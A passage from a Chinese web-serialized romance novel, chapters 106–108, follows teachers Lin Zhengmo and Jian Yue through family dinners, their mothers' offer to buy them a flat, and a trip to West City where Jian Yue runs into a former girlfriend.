林筝墨察言观色,适时搭腔:“你们饿吗?饿的话,我们再做一点,晚上就在这里吃吧?” 简越起身,自告奋勇:“冰箱里超多,阿姨喜欢吃什么,我来做。” “都好。”周京芳抿唇笑,“要不要我一起。” 林筝墨摁住她的肩膀,“不用了,交给我们。”话末拉起简越的手,带她去厨房。 当着长辈的面拉手,简越还不是很适应小鸵鸟的大胆模式,心里却暖呼呼的。 她觉得这条路好长好长,好久好久,但黑夜之后,白昼总会来。曾经总在漆黑里摸索,犹如无数个在福利院电闪雷鸣的深夜,没有人管她,没有落脚点,没有归家之处。 可如今,有除了简桑之外的人接纳着她,这个人的名字叫林筝墨。 林。 筝。 墨。 林筝墨不再是学校走廊上一个虚浮的名字,也不是网络世界虚无缥缈会随风而逝的蒲公英,她的名字叫“简越”,而不是“啊啊啊”。那些惶恐和不安终归有了一个温馨的小家,具有烟火气的柴米油盐,灶台上轻快跳跃的小火苗,沥过水的青菜滑入锅底呲拉的那一秒钟。 那一秒钟,简越感受到了爱与宁和,她觉得头顶上的暖灯在开花,开在这个寒风肆意的冬天。 “我妈妈挺喜欢你的。” “是吗?” “嗯,我能感觉到。” “那你呢?” “我也喜欢你呀。” 晚餐两荤两素,一个汤,四人绰绰有余。 曾经周京芳说,一张方方正正的桌子,她们家总是只坐了三个人,差一位,如今,那一面桌有了归属者,是一个与自己女儿年纪相仿的女孩儿。 却没觉得有什么不好—— 京芳一直在盲目等待一个适配林筝墨的男人,像是被社会规训后的下意识反应,总觉得女人要结婚,结婚是归宿,回过头来发现,林筝墨是一朵应该肆意绽放的花,她的身边也要有一朵花,而不是一把收割的镰。 “妈,怎么样?” “好吃。”周京芳不吝夸赞,“怎么觉得你们做的这个菜有我小时候那味儿。” 简越说:“可能用的猪油吧,这道菜还是我妈教我的。” 周京芳恍然,“噢,这样。”她想起简桑,不免多了句:“你妈妈做饭也很好吃。” 简越唇角漾着笑,“刚刚给我妈发过消息了,她说随时待命。” 一直低头干饭的林鸿忽然抬头,“都忘了和你们说了,今天来是说那件事的。” 林筝墨:“哪件事?” 周京芳:“那个李主任。” 林鸿一本正经起来:“这事儿太不像话了,但我说你就该早点告诉我们,也不至于事后沈校长才联系到我。” 林筝墨只是不愿给家里添麻烦,况且她和简越勉勉强强也算处理好了吧? 林鸿又说:“他儿子有躁郁症,人格分裂,都是让他给教出来的。” 周京芳不耐提醒他:“说重点。” “好的好的。”林鸿嘴皮子绷紧了,“这个事啧,你们做好心理准备,关于你小姨。” “啊?”林筝墨瞬间没了吃饭的兴致,“什么?他和小姨有什么关系?” “二十年前京田她,她的事我就不细说了,你们也知道。后肇事司机逃逸,当时下落不明的,虽然后来是被你妈送进去了。” “然后呢?”林筝墨心里的弦绷紧了,“这和李大光有什么关系?” “是他爸爸,他爸爸后来还犯下一些事,情节很恶劣,当然了,现在还在服刑,这辈子是出不来了。” “啊”简越蹙眉,“那他有什么资格当老师?” “这确实很奇怪,我们也没想到会有联系,但他的户口上在另一家户头上,我猜想是早年管控不严,钻了空子,法律上他不是他爸的儿子。” “不是,怎么还能这样?”林筝墨愤怒又恶心,不敢想象撞死自己小姨凶手的儿子,居然一直在楼上教书。 “还是因为你那件事,我和你妈找了点关系去查,这一查发现端倪,李大光这个“孝子”,年年去探望他爸,俩人的长相简直是一个模子里刻出来的。” 冥冥之中,不知是不是黄泉下不甘,还是一种命运的暗示。 周京芳长话短说:“总之是劣迹斑斑,他当不了老师了,不管那些家长投诉不投诉,他都当不了老师了。” 林筝墨心有余悸,却还是有些担忧的。 “不知道以后他们一家会干嘛。” “你妈说他一家别想在南城活跃了。”林鸿直言。 “喔,是么。”林筝墨偷偷看了眼周京芳,她妈向来人狠话不多,对伤害小姨那一家,估计也不会心慈手软吧。 家里是有点关系。 这一点林筝墨从小就知道了。 “吃饭吧。”周京芳叹了口气,“不说这个了。” “好。” 话音刚落,周京芳忽然又想起什么,“对了墨墨。” “嗯?”林筝墨抬眼看她。 “你们现在是开始同居了吗?” 啊怎么突然问这个。 刚松懈下来的简越瞬间紧绷起来,挺直腰板,屏住呼吸,不敢开腔jpg. 阿姨这是什么意思?随口一问?还是不同意?还是还是?不会觉得太快了吧?可是我们年轻人就是很迫不及待啊 “啊”连林筝墨都有点迷惑,“对,对啊,不不可以吗?” “没什么,一起住很正常。”周京芳很淡定,一边夹菜一边说:“就是房子会不会小,要不要给你们买一套大的。”—— 作者有话说:简越:吓我一跳[小丑] 林:还有这好事儿? 第106章 第一百零六章 做点什么好呢:) 第一百零六章 周六, 雪里见晴,老天终于赏脸,洒点金光。 今天很特别,因为是周京芳宴请的日子, 来客是她多年以来的闺蜜兼敌蜜:桑桑。 厨房里, 砂锅里的乌鸡咕嘟咕嘟炖得软烂, 整个厨房都弥漫着鲜香,所有食材都是周京芳早上六点去菜市场挑选的, 为了这顿饭, 三天晚上都没睡好觉了。 此刻,她正靠着橱台,眼神空茫, 思绪游离。大部分情绪还是紧张居多,当然,隐隐之间还有期待。 叮咚叮咚。 门铃。 林鸿开门去了, 玄关处朗声笑,寒暄着, 不知道说了什么, 笑的不止他, 还听见林筝墨和简越搭腔,再然后, 才是简桑的声音。 准确来说, 简桑的声音才周京芳的牵挂所在。 她搁下汤匙, 折身往外去,虽内心欣然,面上却还是拘谨的,走到客厅, 看到简桑那张脸,原本的局促忽然消散些许,好像有一股力量将她们糅合在一起。 “来啦。”连周京芳自己都意外,“啦”这个语气词居然是从自己嗓子里发出来的。 她很少对人这么热情,来了就是来了,来啦是什么意思。 啦啦啦的。 “快进来快进来。”林鸿热乎跟上,给她们递拖鞋。 有时候吃饭其实是一件极其隆重的事,重点不在于吃什么,而是和什么人吃。 “来就来,带什么礼物。”林鸿接下礼盒,往里觑了眼,“喔唷……” 这东西好贵的,啧。 简医生大手笔。 林筝墨鼻子灵,“妈你煮什么呢,好香。” “鸡汤。”周京芳目光短暂停留在简桑身上,微微凝目又收回,“其实都备好了,炒起来就快了,半小时内开饭。” “那差不多时间刚好。”林筝墨转身招呼简桑,“简阿姨,这边沙发坐,别客气。” “你们先坐会儿。” 见林筝墨在招呼,周京芳躲厨房去了…… 她是有心的,想要把这顿饭做好,美味佳肴虽不能代表一切,但至少能表达自己的诚意,她和简桑之间的事,还得从长计议,不是一天两天能解决的。 但不管怎样,迈出第一步已经是最大的勇气。 又进厨房捣鼓,听客厅里的人时不时说点什么,心里也感到慰藉,不一会儿,简越钻进来帮忙,周京芳要赶她出去,却怎么都推不动。 “让我搭把手阿姨,让我搭把手。” 几番推辞,推不走,只能将她留下,简越说自己可以帮忙炒菜,周京芳便随她去了。 简越厨艺好,手脚利索,做起什么都得心应手,一点都不含糊,勤劳得像一只小蜜蜂,周京芳觉得这女孩儿实在顺眼,同时内心懊恼着,懊恼当初怎么还给人家一个打差评! 不一会儿,林筝墨也跟着进来,看似是来帮忙,实际是 京芳小声嘟哝:“跟屁虫。” 怎么生了个这玩意儿,以前没见她黏自己呢。 林筝墨完全没听到,满脑子都是和老婆贴贴的喜悦,“妈,要不你出去坐坐吧,剩下的交给我和简越就好。” “对,阿姨,你辛苦一天了,交给我们了。” 做饭其实特累,特别是这种十几个菜的,谁做谁知道,在简越和林筝墨的轰击下,没一会儿周京芳被“赶”了出来,被迫去沙发聊天。 厨房只剩林筝墨和简越两人。 “好香呀。”林筝墨从简越身后抱她,颈间磨蹭,“不过你更香一点。” 简越正掌勺呢,在林筝墨亲她脖子那瞬间抖了一下,盐都多放了小半勺。 “林老师,注意一点好啵。”简越压着声音说:“外面三位判官,你居然敢对我动手动脚。” 林筝墨转身去把厨房门关了,反手锁上,过来继续抱简越,“现在呢?” “你”色令智昏,色令智昏,色令智昏。 请问。 玻璃门锁了和没锁的区别是? 一叶障目! 意义是? 哦! 心理安慰! “晚上回去再玩。”简越盛出第二道菜,“我们先做饭。” “好~”林筝墨去端菜,摆盘,放在厨台上,又倒回来,继续拥着简越。 林老师随时随地会触发的技能就是贴贴,贴贴简越后背,贴贴简越前胸,在街上的时候会暗戳戳牵简越的手,只有在学校的时候才是好好学生,连多看一眼简越都觉得罪恶,俗称此地无银三百两,做贼心虚。 然后每天下班回家就开始贴贴模式,要简越抱,要简越背,要简越摸摸她,偶尔还会抱怨,比如“今天上班,感觉自己一万个世纪没有和你拥抱”这样的话。 通常她说这样的话,是用那样慵懒的语调,纤瘦的她穿着居家服躺在沙发上,就像人类版本的泡泡。 肉眼可见,林筝墨对简越的依赖与日俱增,简越虽面上不示,心里却一阵喜悦。 极好! “他们聊挺嗨的。”林筝墨说。 “嗯,听到了。” 听到林鸿在笑,周京芳话也变得琐碎起来。 “他们不会过来的。”林筝墨在简越耳边吐气如兰,轻轻吹气,“你要不要亲我一下。”!!! 简越觉得今天的菜要是咸了,林筝墨有一半的责任! “老师,做饭呢。” “你都不亲亲我了吗。”林筝墨故意撒娇,“是了,现在的林筝墨连一盘小炒肉都不如了。” 这是她惯用的挑逗简越的方式。 简越拗不过她,只得偏过头,转身去吻她,在她鼻尖贴了一下。 林筝墨很是享受,却意犹未尽,继续攻击:“是了,现在亲我都只亲一下鼻子了,敷衍。” 小炒肉猛火,正要颠勺呢,简越实在受不,放下勺子,转身去搂林筝墨的腰,火里火气,贴她在身后的墙上,嘴唇攻势猛烈,大于灶台上咻咻的火焰。 却不能贪,免得菜糊了。 嘴唇要离开那刹那,林筝墨迫不及待去拥抱简越,让她不要离开。 简越:“唔唔唔?”——菜要糊了? 林筝墨:“嗯”——你现在应该关注这个吗? 简越:“¥@#@”——我真服了关注你关注你关注你行了吧嗯嘴巴好软。 饭前饱餐一顿,吮吸到嘴唇红肿,林筝墨眼底噙着迷离的水光,抿了抿唇,舌尖扫着上唇附近,似是在回味。 简越转身,慌忙去关火,还好,没糊,就是油煎久了,肉会有点干。 今天唯一一道不合格的菜是在林师傅的捣蛋下完工的。 “晚上回去再” 林筝墨在她脸上快速啄了一下,“那我把菜端出去先。” 几个菜几个汤逐渐上桌,沙发上的人沉浸在他们的话题里,无人在意厨房里到底发生了什么,简越关掉抽油烟机,把手洗得干干净净,出去时,碗筷已经摆好了。 周京芳望着五花八门的菜笑:“现在怎么要做个饭都这么难?” 简越擦擦手,面对夸赞很谦逊,只是一笔带过。 毕竟来之前,简桑就给她下了任务,说一定要去帮忙,周京芳一个人做饭会很累。 还是那句话,吃饭是一件很隆重的事情。 连桌子也很考究,不一定要方方正正的四面,有时候圆圆满满也可以。 是在大家都坐下之后,林筝墨忽然才发现这个细节,太细了,妈妈换了一张同规格吃饭的桌子,她家方桌变成了圆桌,因为圆桌可以坐五个人。 老天。 什么时候的事? 那以前张桌子哪里去了?她当然不会问周京芳。只是觉得,方桌子消失了,好像有什么东西一同消失了。 耳边,简阿姨说鸡汤很好喝,周京芳又给她盛了一碗,林鸿说,除了喝汤能吃点别的吗?闺女们炒的菜明明也很好吃。 捧场,所有人都很捧场。 林筝墨夹了一片小炒肉,送入口中,细细咀嚼起来,干酥焦香,不是平日的味道,却别样的好吃。 咀嚼的同时看了简越一眼,发现简越也在看她。 简越的眼睛柔乎乎的,是舒心,是自由,是慰藉,是最接近灵魂那一部分。 那一秒钟林筝墨恍然大悟,她知道什么东西消失了。 每周二回家受刑的魔咒消失了。 曾经有一个人是不可公开的秘密情人,胆小地妄图把她藏在小盒子里,那是一个只有彼此的世界,不敢苟求更多的幸福。以为得不到阳光就是她们这样的人应得的,林筝墨觉得自己曾是活在下水道里的漂亮老鼠,光鲜又恶劣,很长一段时间,都默认接受那种不被理解,被当做异类的感觉,原本随波逐流是她的生存方式,可是有一天她发现自己也可以拥有宝剑,做一个勇士。 所以方桌变成了圆桌。 林筝墨忽然觉得好奇怪,她从没想过有一天,这五个人会一桌吃饭,是吃饭,不是吵架,这种感觉令她想落泪。 “我想出份力。”简桑忽然说。 林筝墨回过神来,先前游神,她好像错过了一些对话。 “让我来吧,我都替她们看好了。”周京芳非常阔绰,“那新楼盘年底下来,可以全款。” 哦,原来在说房子。 妈妈你你好急。 简越欲言又止,算了,还是不说了,林筝墨侧耳聆听,不语。 简桑:“我总得做点什么吧。” 周京芳:“那你买车。” 简越受不了,连忙出来打断:“阿姨,我有车,车车还很健康。” 简桑:“房我出一半,我想出。” 周京芳:“还一半一半,干嘛这么客气。” 简桑霸气:“也只是一份心,这些年还是有些积蓄,越越是我唯一的女儿” 周京芳心想,不能一意孤行,省得等会儿闺蜜变敌蜜,“嗯,也好,也好。” 林鸿打岔:“那我呢?装修的钱我出?” 林筝墨和简越不知该哭该笑,她俩虽是编制内,不说大富大贵,但真的也不至于要家里人接济到这种程度好不好!南中的福利还是很好哒!就算真的要买一套,两个人完全有那个能力。 林筝墨小心翼翼:“其实也可以不用买的我们就住教师公寓。” 周京芳:“不可,你们的关系,住教师公寓不合适,为什么呢,纸包不住火,天天楼上楼下的,那老师们知道了也不好,再说了隔音也不好,私人空间不够。加上之前那公寓太小了,新房子还是要有的。” 简桑颔首,“嗯,在理,买房。” 周京芳:“好,下周就去看。” 林鸿:“好,买,买大的。” 林筝墨:“0.0?” 简越:“-” 说点什么好,被安排得明明白白。 周京芳:“怎么不说话,你们也说说自己的看法。” 林筝墨将计就计:“那你们实在要给我,我也没办法” 谁不喜欢大房子呢。 和简越在宽绰的客厅里做点什么好呢。 哎 真的很难猜! 第107章 第一百零七章 嘴硬 第一百零七章 周京芳的建议不是没有道理。 原本林筝墨想申请简越隔壁那间, 当简越的假邻居,但听说别的同事也在申请,觉得很浪费资源,所以果断放弃了。 于是, 为了避嫌, 林筝墨也不能总是出现在简越家, 毕竟关系再好的姐妹,常常留宿也很奇怪, 所以她俩总是跑来跑去的, 不太方便。 某天夜里,俩人窝在被子里絮絮低语。 简越:“不然真的买房子算了?” 林筝墨:“买呀,可以买。” 简越说:“那我们偷偷去看吧?就不要他们赞助了, 我卡里有一笔钱,够的。” 林筝墨轻声笑,“晚了, 钱已经打我卡上了。” 林家和简家观点高度一致,妈妈们觉得自己挣的钱就应该给女儿花, 所以出手非常阔绰, 一点也不吝刻。 “啊……”简越惊异:“她俩给了多少啊?” 林筝墨比划了一个“2”, 又比划了一个“2”,2+2=4. 简越惊呼:“这么多!” 买个大房子还绰绰有余, 这不被迫啃老了吗, 算了算了, 命好,没辙。 那日之后,两人开始选房,由于资金充足, 所以净往好的挑,采光不好的不要,离学校远的不要,太吵的不要,这一来二去,锁定的范围渐渐缩小。 张老师是个热心肠,推荐了一个小区,是一梯一户的平层,物业绿化各方面都不错,最重要的是业主有很强的私人空间,林筝墨和简越看了,都觉得不错。 所以打电话问两位母亲的意见。 妈妈们就俩字: 拿下! 房子是大事,后面慢慢计划,但去西城的事不能再拖了,因为林筝墨要退租。 周末,俩人坐上高铁一同前往,也就四小时行程,没想到两个城市的冬天相差如此之大。 西城的冬天冷得更直接一些,是不怎么下雪的,只是冷风像刀子似的往脸上刮,好像整个冬天都在被扇耳光。 但此城以美食著称,好像生长在这里的人,骨子里就知道怎么吃,来旅游的人很多。 “随便吃一家都不会踩雷。”林筝墨说。 “真的假的?” 林筝墨中肯地评价:“都不错,但我当时没心情细扒,应该是有更多好吃的,我先带你回住处,晚点我们出来吃好吃的。” 林筝墨在西城租的房子不大,是一个标准的套一,甚至是一个公寓,连天然气都不通,但她在这边根本不做饭,因为因为那个时候她根本没心情吃饭。 房子也有优点,离市中心很近,比较新。 “你离开这里的时候,有没有想过再回来是退租?” “没有,我以为自己很快就会回来。”林筝墨开门,让简越进去。 公寓里还算干净,稍微打扫一下就能住,但给人第一印象有点空,她几乎没有往这里面添置东西,冷冷清清的。 “就不换鞋了吧。”林筝墨率先走进去,将屋子里的灯打开,径直到客厅,唰的一声拉开窗帘,将外面的光透进来。 冷光落在她的脸上,下意识眯了眯眼。 闷。 有一秒钟的闷。 这个地方,好像又将林筝墨拉回当初那种感觉,一个人睡觉睡到不知几点,浑浑噩噩睁开眼发现是天黑,继续睡,下一次睁开眼还是天黑,整夜整夜地哭,哭到濒临破晓。 那段时间,她陷入了时间和空间的混乱。 她对这个公寓没有太大感情,大概是留在这里的悲伤太多,让她不敢喜欢这里。 “房间在哪里呀?”身后简越在说,那声音将林筝墨从那种悬浮的悲伤中拯救出来。 林筝墨转过身,淡淡笑,“那边,我带你看。” 她过去拉简越的走,带她往卧室的方向走,卧室很整洁,就是窄了些,床干净又素淡,和林筝墨本人一样,玻璃窗上有雨的痕迹,显得整个空间不明不暗。 “你就在这里睡了半年啊。” “对。” 简越仔细捕捉着属于林筝墨的一切,心里忽然不是滋味。她承认,林筝墨并没有住得很差,并没有那种破破烂烂的差,虽然没到那个地步,但就是空,空荡给人一种感觉,孤离的游魂,透过这一隅,窥探到林筝墨那时候的境况。 原来分开那段时间,她们过得同样的不好。 好似一切都是公平的,她们谁也不欠谁的。 林筝墨晃了晃简越的胳膊,“在想什么呢?” “关于你的事。”简越目光凝滞在半空,“你睡这里的时候都在想什么?” “躺这里的时候啊。”林筝墨顿了一下,“我在想你。” 简越心情沉重,“想我什么?” “我在想,我什么时候才可以见到你啊。”林筝墨回忆起那段过往,自顾自道:“我在想,我们还有可能吗?我在想,你难过的时候我不在你身边怎么办?我不想你比我难受。我还在想,你会不会和别人谈恋爱之类的吧,我很害怕。” 乱七八糟的,想联络又不敢联络。 “过来。”简越揽过林筝墨的肩膀,轻轻拥着她,脑袋埋在她发间,“现在呢?” “现在,现在好多了。”林筝墨阖上眼,感受着这份温暖。 两人静默片刻,林筝墨忽然说:“晚上我们在这张小床上睡觉。” “嗯”简越眯着眼,还在感受林筝墨的气味,没听出话外音。 “然后我睡靠墙的地方,你睡外面。”林筝墨抬眼看简越,眼里忽然噙着幽怨,戳了戳简越小腹,“怎么样?” “好啊~”某人依旧没反应过来。 见简越一直没反应,林筝墨只好贴脸开大:“然后你不可以碰我。” 原本沉迷其中的人忽然睁开眼,不可思议地看着:“为什么!” 林筝墨浑身洋溢着一股傲娇劲:“因为你根本没有任何想法!” 没有没有没有! 一周过去了! 是!接过吻了!嘴巴都吻得秃噜皮。 一张床上躺了!衣服脱!了! 但!就!是!没!做!!! 林筝墨知道,怨不得任何人,因为时间不赶巧,她们都在生理期,这才刚结束第二天。 可是结束了啊,昨晚明明就可以,为什么没表示。 简越看着林筝墨脸颊溢着粉红,有羞怯但更多的是苍白无力的埋怨。 “哦,什么意思?”简越直勾勾看着林筝墨,明里暗里装不懂:“你说的想法是什么想法?” 林筝墨别过脸去,从简越怀里退出来,“没什么。” 啊啊啊啊! 装! 真的想锤死她! 林筝墨转过身去,又觉得自己显得很迫不及待,懊恼为什么要明示,对方竟然故意不接招,难道是不想? 不想。 不想的话,那她死定了。 心烦。 开始装模作样换床单,床单还是要换一套更干净的,她洁癖。 死床单,烂床单。 林筝墨换床单的力道分明比平日更大一些。 扯得床单嗷嗷叫。 正在气头上,身后忽然有人贴过来,在要反抗的第一秒,简越已经先一步搂住了林筝墨的腰。 “喂,你生气真的超级明显的。”简越贴在林筝墨耳边说话,呵气如兰,似有若无地挑拨她。 “我生什么气。”林筝墨觉得痒,不自在地抬了一下肩膀,算是拒绝,“我要换床单。” “这重要吗?”简越不松开,反而双手游离在林筝墨的小腹,熟练地抚摸着,“换床单什么时候都可以换。” “不,就要现在。”林筝墨故作冷淡,“你是谁,你不许抱我。” 简越不管她,只是去吻她的耳尖,轻轻含着耳根,嘴唇几乎没怎么用力,呼吸的灼热却钻进耳朵里,令林筝墨猝不及防抖动一下。 好痒,好热,好像火柴呲拉一声点亮了欲念,不可自控。 “唔——”林筝墨的反应很强烈,又讨厌自己的顺从,咬着下唇让自己不要出声,几乎是没有力道地推了简越一下,“干嘛。” 别以为使一些伎俩就可以让我服软——结果下一秒直接软掉——因为简越嘴唇从耳朵向下,游离在脖颈之间,根本受不了。 林筝墨松开被单,微微仰着头,被迫露出更多的部分,好让简越吻到。 这动作是下意识的,是不可控的,只要是简越,她就忍不住,忍不住要去迎合,一切都是失控的。 事实是她很喜欢简越这样吻她,恨不得全身都被吻到,一个地方也不要放过。 她对简越的渴求一直都很强烈,现在也不例外。 “做”林筝墨喉咙干涩到说话断断续续。 “做?”简越低声发笑。 “做什么。”林筝墨脸红到滴血,是做!什!么!不是——做! 只是说话慢一点,切忌胡乱理解。 简越从脖子下面又吻上来,捏着林筝墨的下巴,强迫她偏过头,并且从身后的姿态吻她的唇。 不似平日那么温柔,带着一点侵略性,嘴唇贴上去时,含着下唇,推入舌尖,明晃晃的挑l弄林筝墨,游离在唇齿之间,一点一点,让林筝墨整个人软掉。 软掉,软在简越怀里,又相当喜欢,喜欢到一个拒绝的字都说不出来。 她开始哼唧。 动情的声音回荡在狭小的卧室,难以置信是自己发出的声音。 吻到嘴唇红肿,吻到不能呼吸,林筝墨推开简越,喘着气,脸颊红扑扑的,眼底噙着迷离的水光。 嘴却是硬的:“你干嘛。” “干嘛?”简越盯着她笑,“小小林筝墨,装模作样。” 一句话惹恼林筝墨。 先前就生气,现在说话居然还不客气。 这女人今天欠收拾! 林筝墨把简越推在床上,“就知道欺负我!你才装!”话末,她跪坐在简越腿上,低头就开始咬人,咬嘴唇,咬下巴,又啃咬着简越的肩膀,心里实在不快,相当狠厉。 “啊——”简越发出吃痛的声音,“你是小狗!” “所以呢。”林筝墨心底依旧不畅快,抬起头来看简越,靠近,直勾勾盯着她,“晚上不许碰我!” 有人气急攻心。 有人恼羞成怒。 有人好可爱。 “噗嗤。”简越忍不住笑出声来,“嗯嗯嗯嗯嗯嗯你说了算。” 算我胡说八道—— 作者有话说:不知道大家对甜甜日常有没有兴趣,有的话我可以多写两章。 但是确实快完结了,就在月底。[彩虹屁] 第108章 第一百零八章 禁止骚话? 第一百零八章 换好床单, 已是饥肠辘辘,林筝墨在某众点评找了一家评分不错的当地美食,打车带简越去吃。 五点出发,到的时候, 运气比较好, 还有最后一桌空位, 再晚一点就要开始排队了。 这是一家很出名的烙锅店,烙锅和烤肉有一点像, 但本地特色要浓郁一些, 是在凸起的黑砂烙锅上面放小五花肉和小蔬菜之类的,慢慢烤熟,焦香味美, 而蘸料主要是干辣椒面。 虽然不喜辣,但这家店的老板对辣椒面做了处理,有符合外地人的微微辣, 辣度就刚刚好。 味蕾得到享受,加上四面很有符合市井气息的饮食氛围, 心情自然愉悦起来。 林筝墨注意到, 客人好像很喜欢点米酒, 好像也是当地特色。 “喝不喝点?” “喝啊。”简越恰巧在兴头上,“我也想喝。” 西城的人喜欢喝米酒, 微酸微甜, 酒味淡一些, 要比白酒好喝太多,冰冰凉的,吃烙锅的时候喝上几口,解腻又解辣。 黑砂锅上摆着烤得滋滋的五花肉, 简越挑了品相最好的那一块,蘸一点点干辣椒,送到林筝墨嘴边,“尝尝呢。” 吃什么都要林筝墨先吃,这是简越的习惯。 小小五花肉,林筝墨斯斯文文咬了一半,慢条斯理咀嚼起来,无需多言,剩下那一半简越吃了。 五花肉这辈子都没想到,自己临死前还要被两个人凌迟,这何尝不是一种命运多舛呢,小情侣最讨厌了,什么都要分着吃。 第二片。 第三片 和烤肉味道不一样,是另一种好吃! “那后来呢?”简越充满了好奇。 “什么后来?” “你说你在这边教人弹钢琴。” “嗯对啊。”林筝墨抿一口米酒,慢吞吞道:“整日躺在出租屋里,被房东阿姨知道了,她很热心,与我摆谈起来,她了解到我会弹钢琴,问我有没有教别人的意愿。大概是不想我那么颓废?给我介绍了一个客户,嗯我想也是,我应该出门了,所以就去教了。” 是教一个七岁的小女孩儿,挺可爱的,悟性超高,林筝墨非常喜欢。 倒不是为了赚钱,只是上课无形之中确实转移了注意力,觉得有空还得去谢谢一下房东。 “那你以后不能教她弹钢琴了。” “是啊。”林筝墨扬唇笑,“我说不能教她的时候,她在电话里哭呢。” “啊”简越跟着笑起来,“看来我是夺人所爱了。” “哦对了,有几本钢琴谱要给她。”林筝墨细致,在谱子上做了一点笔记,好让她巩固一下,“等会儿去拿给她,她家住这个片区。” “好。” 一直吃到七点,腹欲餍足,酒酣耳热。简越起身,拉着林筝墨,慢悠悠去买单。 漫步在西城的街头,又是别样风味,夜晚的风还是冷,刮在脸上不留情,但心情却与从前不同,暖融融的,先前大快朵颐让人有点晕,需要散步来消解一下。 手牵手,林筝墨往简越肩膀上靠,小声说:“觉得你在身边就很好。” “我也觉得。”又觉得这四个字不够味,简越添了句:“但以后还会更好。” 林筝墨直勾勾看着简越,眼底流露着深情。 她偏过头,“那以后是多久?” “无期限。”简越目光投过来,“那不然呢?” 得到想要的答案,林筝墨唇角笑意荡漾开来,忽然起了兴致:“诶对了,我们来拍张照吧!” 她们正行走在西城一条不起眼的街巷,不似城中心那般鲜亮璀璨,身后只有小超市的一盏招牌,上面写着“虹吟副食”,招牌闪着寡淡的白光,这条巷人好少,光线甚至灰暗。 简越拉着林筝墨,俩人站在一家关了门的按摩店门口,简越走上一层台阶,从身后拥着林筝墨,下巴搁在林筝墨的肩膀上。 “拍吧。”简越说。 林筝墨摄像头前置,蹙眉,“啊,这样看起来你比我高好多。” “本来就比你高。” “明明就3厘米!”林筝墨不满地嘟囔:“现在怕是有8厘米,我成小矮子了。” 都说前置摄像头是害人精,这一点在林筝墨和简越身上无效。 咔擦,一张看似平平无奇实则熠熠生辉的照片诞生了。 “你好好看!”林筝墨赞不绝口。 “你更好看。”简越快速在她脸颊吻了一下。 林筝墨心跳突突,四下望了一圈,没看到有人,大胆起来:“再亲一下?” “嗯。”简越只是说,并不行动。 林筝墨把手机揣兜里,主动靠近一些,距离简越几厘米的时候忽然停下,她在想,简越应该会主动贴上来吻她。 都不说话,鼻息咻咻,黯淡的光波里藏着咚咚的鼓声,敲打着彼此的心房,爱人的气味飘浮在空气里,有些意乱情迷。 简越情不自禁靠近一些,在林筝墨嘴唇上贴了一下,冰凉的触感夹着一点米酒的甜味,想要在攫取一些,便又贴了一下。 没有特别深入的吻,内心却得到极大满足。 林筝墨弯唇笑,小声说:“我喜欢你。” 简越拉过林筝墨的手,两人拥在一起,“那你要一直喜欢我哦。” “当然啦。” “真的假的?” “假的。” “你!” “噗嗤。” 这条小巷很长,没什么人,林筝墨觉得这是西城给她们的礼物,她很希望她和简越可以一直这样,什么都不做,在下一个或者某一个冬天,只需要牵牵手散散步就很好。 “真的还是假的?”简越不死心,又问了句。 “你好傻,真的,当然是真的。” * 散步半小时,抵达学生小区门口。 小女孩儿名字叫李舒,妈妈叫余矜,曾经林筝墨去教钢琴的时候,爸爸很少回家,百分之九十的时间都是妈妈带着女儿的。 比较奇怪的是,余矜女士几乎不会提起自己的丈夫,她的所有精力都花在女儿身上了。 “她妈妈说下来接我们,让我们上去坐坐。”林筝墨看着手机屏幕,“不太好拒绝毕竟以后很难见面了。” “那就上去坐坐吧。”简越很干脆,“下来接会不会太麻烦,我们要不直接上去?” “嗯。”林筝墨锁屏,“我和她说了。” 于是俩人一同上楼,这小区算是市中心的富豪区,虽不是独栋,但都是三百平上下两层的大房子,最低售价在一千万以上。 真不知道为什么卖这么贵的。 到大厅的时候发现保姆还是下来接了,客客气气地说:“林老师,舒舒在楼上别扭呢,余姐实在下不来,让我来接你的。” “没关系。” “诶,来,这边。”保姆客客气气带俩人进电梯,刷卡上楼。 轿厢里灯光明亮,甚至有喷香水,简越却没有先前那么自在。忽然开始好奇,林筝墨所教的那户人家是什么情况。 这种好奇心来得非常突然,以至于不过几秒钟的时间,她根本没机会问,电梯的门就已经打开了。 保姆阿姨走在前面带路,虚掩的大门里传来小女孩儿的哭声,开门,玄关处换鞋。 “余姐,林老师来了。” 二楼小孩的哭声中传来清越的女声:“诶,我就下来。” 简越忽然僵了一下,怀疑自己产生了幻觉,低头发现林筝墨还在换鞋,刚穿好一只,二楼叮叮咚咚跑来一小女孩儿,脸上挂着泪,边哭边说:“林老师我好想你!!!” 李舒相貌乖巧,声音青稚,嗓音奶里奶气的,林筝墨换好鞋抬起头,笑盈盈看着李舒,下一秒李舒已经扑进她怀里,撒娇:“你真的不能教我弹钢琴了吗!!” 二楼余女士下来,拖鞋踩在地板上发出不疾不徐的声音,她的步伐是极其稳重的,一抹倩影在廊角晃过,乌发挽起,是个气质极佳的姐姐,年纪大约四十,却是不显的,看起来像只有三十四五,有股宠辱不惊的味道,论相貌,是漂亮极了。 余矜唇角挂着浅淡的笑,先是看见林筝墨,虽然喜悦,语气却没有太大起伏,是令人舒服的语调:“林老师,好久不见。” “好久不见余姐。”林筝墨偏过身,转身要介绍简越。 却在侧身那一瞬间,余矜和简越目光对上。余矜先是一愣,视线定格在简越脸上,眼底的诧异非常明显,在林筝墨要介绍之前,听到余矜先开口叫出那个名字。 “越越?”平静的人声线微微上扬,有了例外。 简越扶着墙,紧张没有,心虚居多,“啊,好久不见。” 服了。 这是密室逃脱那一位。 苍天啊,救命啊。 分手之后再也没联系过,听说结婚了,没几年辞职了,老公很有钱,搬去哪座城市定居了,哦,细想,对,是西城。 妈呀,女儿都这么大了? 简越看着李舒,是和余矜几分像。 “你们认识?”林筝墨才是后知后觉那位。 “对,先进来坐。”余矜压下心中的波澜,刻意让自己显得冷静些。 事实是,她从未忘记过简越。 无数次想复联,但理智告诉余矜,事已至此,就不要再打扰了。 她过得好不好? 林筝墨带她来,她们是朋友关系吗?还是说,是女朋友。 余矜心不在焉地坐在沙发上,忽然觉得这位不速之客朝她心头扔下一颗石子,在心头荡起涟漪。林筝墨坐在她身旁,简越则在另一边。 李舒依旧拉着林筝墨不松手,黏黏腻腻还在撒娇,林筝墨把包里的琴谱交给她,哄着她,和她聊天。 虽然表面上在和李舒说话,但林筝墨心思飞走有一会儿了。 她在想余矜怎么会认识简越?也没听简越说过这号人啊。大学同学,年龄对不上,亲戚,同事,一一对不上,网友?那更不可能了。 